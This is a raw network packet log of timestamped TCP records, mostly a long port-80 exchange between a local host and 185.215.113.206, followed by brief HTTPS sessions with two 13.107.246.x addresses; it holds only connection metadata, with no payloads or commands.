Nov 22, 2024 14:43:55.061777115 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.061825991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.061889887 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.061933994 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.062792063 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.062851906 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.063339949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.063383102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.064021111 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.064033985 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.064070940 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.065702915 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.065761089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.065829039 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.066081047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.066298962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.066342115 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.066401005 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.066565990 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.067615032 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.067627907 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.067666054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.068559885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.068612099 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.069504023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.069561005 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.069725037 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.069736004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.070183992 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.071178913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.071191072 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.071230888 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.072025061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.072084904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.072256088 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.072407961 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.073154926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.073201895 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.073261976 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.073312044 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.074501991 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.074567080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.074743986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.074842930 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.075432062 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.075473070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.075608015 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.075654030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.076666117 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.076677084 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.076719999 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.076735020 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.077766895 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.077833891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.077864885 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.078046083 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.078886986 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.078955889 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.079144955 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.079266071 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.080034018 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.080147982 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.080868006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.080923080 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.081190109 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.081202984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.081231117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.081257105 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.082313061 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.082401991 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.082412958 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.082468033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.083529949 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.083574057 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.083988905 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.084098101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.084633112 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.084681988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.084907055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.084970951 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.085772038 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.085876942 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.086288929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.086338997 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.087171078 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.087188959 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.087217093 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.087234974 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.088149071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.088160992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.088203907 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.089364052 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.089376926 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.089406967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.089426041 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.090398073 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.090461016 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.090673923 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.090723038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.091546059 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.091557026 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.091641903 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.092739105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.092799902 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.092926025 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.092967033 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.093941927 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.093986988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.094275951 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.094317913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.095000982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.095014095 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.095062017 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.096148968 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.096163034 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.096210957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.097419977 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.097431898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.097477913 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.098531008 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.098543882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.098582029 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.099562883 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.099618912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.099672079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.099756956 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.100837946 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.100848913 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.100894928 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.101954937 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.101969004 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.102004051 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.102030993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.103046894 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.103116989 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.103308916 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.103358030 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.104211092 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.104288101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.104383945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.104434967 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.105424881 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.105441093 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.105468988 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.105483055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.106555939 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.106568098 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.106601000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.106622934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.107702017 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.107743979 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.107805967 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.107842922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.108984947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.109036922 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.109123945 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.109164000 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.110002041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.110052109 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.110057116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.110091925 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.111183882 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.111196995 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.111287117 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.112234116 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.112428904 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.112447977 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.112570047 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.113492012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.113557100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.113570929 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.113614082 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.114547014 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.114654064 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.114706993 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.115819931 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.115832090 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.115879059 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.116915941 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.116929054 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.116983891 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.259185076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.259202003 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.259257078 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.259308100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.259581089 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.259614944 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.260776043 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.260790110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.260826111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.260852098 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.260890961 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.260936975 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.261919022 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.261934996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.261959076 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.261975050 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.263052940 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.263099909 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.263149023 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.263362885 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.264671087 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.264682055 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.264717102 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.264743090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.265477896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.265515089 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.265683889 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.265747070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.266535997 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.266585112 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.266642094 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.266688108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.267776012 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.267855883 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.268357992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.268413067 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.268835068 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.268901110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.268946886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.269958019 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.270013094 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.270337105 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.270381927 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.271105051 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.271131992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.271181107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.272317886 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.272330046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.272380114 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.273504972 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.273518085 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.273557901 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.274585962 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.274600029 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.274635077 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.275701046 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.275759935 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.275969982 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.276021957 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.276962996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.277013063 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.277229071 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.277318954 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.277968884 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.278024912 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.278296947 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.278387070 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.279130936 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.279177904 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.279230118 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.279269934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.280343056 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.280397892 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.281013966 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.281060934 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.281450987 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.281491041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.281500101 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.281528950 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.282891989 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.282946110 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.283204079 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.283256054 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.283771992 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.283852100 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.284406900 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.284454107 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.284868002 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.284924984 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.285156965 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.285319090 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.286081076 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.286118984 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.286142111 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.286154032 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.287250996 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.287300110 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.287317038 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.287345886 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.288347006 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.288360119 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.288403034 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.288418055 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.289572001 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.289616108 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.289988041 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.290040970 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.290654898 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.290709019 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.290793896 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.290894985 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.343821049 CET	49819	80	192.168.2.6	185.215.113.206
Nov 22, 2024 14:43:55.470010042 CET	80	49819	185.215.113.206	192.168.2.6
Nov 22, 2024 14:43:55.475668907 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.475956917 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.475979090 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.477006912 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.477066040 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.478539944 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.478601933 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.478982925 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.478990078 CET	443	49884	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.542443037 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.543000937 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.543034077 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.544573069 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.544655085 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.545001984 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.545088053 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.545227051 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.545241117 CET	443	49883	13.107.246.40	192.168.2.6
Nov 22, 2024 14:43:55.549540997 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.550023079 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.550054073 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.550699949 CET	49885	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.550709963 CET	443	49885	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.610810041 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.612879992 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.612895966 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.613506079 CET	49886	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.613512993 CET	443	49886	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.661047935 CET	49884	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.661180019 CET	49883	443	192.168.2.6	13.107.246.40
Nov 22, 2024 14:43:55.722275019 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.723984003 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.724018097 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.725023031 CET	49887	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.725028992 CET	443	49887	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.747338057 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.747948885 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.747977018 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.748469114 CET	49888	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.748476028 CET	443	49888	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.799865961 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.800553083 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.800571918 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.801023960 CET	49889	443	192.168.2.6	13.107.246.63
Nov 22, 2024 14:43:55.801029921 CET	443	49889	13.107.246.63	192.168.2.6
Nov 22, 2024 14:43:55.801084995 CET	80	49819	185.215.113.206	192.168.2.6
